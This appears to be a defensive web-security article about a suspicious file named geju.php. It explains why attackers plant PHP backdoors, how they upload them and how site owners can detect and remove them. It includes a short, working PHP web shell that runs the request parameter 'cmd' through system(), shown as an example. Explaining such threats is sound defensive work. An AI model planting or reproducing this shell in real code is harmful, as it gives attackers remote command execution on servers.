The “geju.php” file is likely a malicious PHP script commonly uploaded by hackers to compromised servers. This file could be used by attackers as a backdoor to gain control over your server, inject additional malicious code, steal data, or perform other harmful actions. Below, I’ll go into detail on why hackers target files like this, how they exploit them, and what steps you can take to protect your website.

Why Hackers Target Files Like geju.php

Hackers aim to install malicious files like geju.php on servers to gain unauthorized access and control. Here’s why they do it:

  • Remote Access and Control: geju.php can act as a backdoor, giving hackers control over your server. Through such files, attackers can execute commands remotely, upload additional malware, or even modify files on your server.
  • Data Theft: Once the attacker has access, they can read and steal sensitive data, including customer information, API keys, and database credentials.
  • Spamming and Phishing: Attackers may use your server to send spam emails or host phishing pages, which could lead to your domain being blacklisted.
  • Server Hijacking for Malicious Activities: Hackers often use compromised servers to carry out Distributed Denial of Service (DDoS) attacks, cryptocurrency mining, or other attacks on other websites and services.
  • SEO Spam: Some hackers inject SEO spam, modifying your website’s content to promote other websites, often leading to loss of search engine rankings.

How Hackers Exploit geju.php

geju.php often contains PHP code that provides attackers with a range of functions, such as file manipulation, database access, and command execution. Here’s an example of what such a malicious file might look like:

<?php
// This code is for educational purposes and demonstrates what malicious PHP code might look like.

if(isset($_REQUEST['cmd'])) {
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
}
?>

This script listens for a cmd parameter, allowing the attacker to execute system commands directly on your server, which can lead to devastating effects if the attacker uses these commands to download, delete, or modify files.

How Attackers Upload and Access geju.php

Hackers often upload geju.php in several ways:

  • Vulnerable Plugins or Themes: Attackers exploit weaknesses in third-party plugins or themes, especially if they aren’t regularly updated.
  • Weak Passwords: Weak admin passwords make it easy for attackers to log in and upload malicious files.
  • SQL Injections or File Inclusion Attacks: Vulnerabilities in your web application code may allow attackers to upload malicious files without needing login credentials.
How to Protect Your Website from geju.php and Similar Exploits
  • Regularly Update Your Software: Make sure your CMS, plugins, themes, and server software are up to date to minimize vulnerabilities.
  • Strong Passwords and Authentication: Use strong passwords and enable two-factor authentication (2FA) for all administrative accounts.
  • Use File Integrity Monitoring: File integrity monitoring software, such as Tripwire or OSSEC, can alert you if new or modified files, like geju.php, appear on your server.
  • Scan for Malware Regularly: Use website security tools like Sucuri, Wordfence (for WordPress), or other malware scanners to scan and remove malicious files.
  • Limit PHP File Uploads: Restrict PHP files to directories that absolutely need them. You can configure your web server to disallow PHP execution in the uploads directory.
  • Use Web Application Firewall (WAF): A WAF (like Cloudflare or Sucuri’s WAF) can block malicious requests before they reach your server, reducing the risk of attacks.
  • Disable File Upload Permissions: If your application does not require users to upload files, disable file upload permissions altogether.
Is geju.php Safe to Keep?

No, you should delete geju.php immediately if you find it on your server. It’s unlikely to be a legitimate file for any reputable application, and keeping it risks further compromise. After deleting it, ensure no other backdoors are installed by running a comprehensive scan.

Applications or Scripts that May Use geju.php

No reputable applications or scripts would intentionally use a file named geju.php, as this is generally a non-standard, suspicious file name. If you find this file, it’s likely that it was uploaded by an attacker, not by any legitimate application.

Example of Checking for Malicious geju.php Behavior

To see if geju.php is acting maliciously, you can review your server’s access logs and look for unusual requests, such as:

# Checking for requests to geju.php in Apache/Nginx logs
grep 'geju.php' /var/log/apache2/access.log
grep 'geju.php' /var/log/nginx/access.log

This command will show you any recent access attempts to geju.php and the parameters used, which can reveal if hackers have attempted to execute commands through it. geju.php is almost certainly a malicious file that should be removed if found. It poses serious security risks and allows attackers to control your server. By following best practices—regularly updating software, enforcing strong authentication, monitoring for malicious files, and using a WAF—you can better protect your website and server from attacks.

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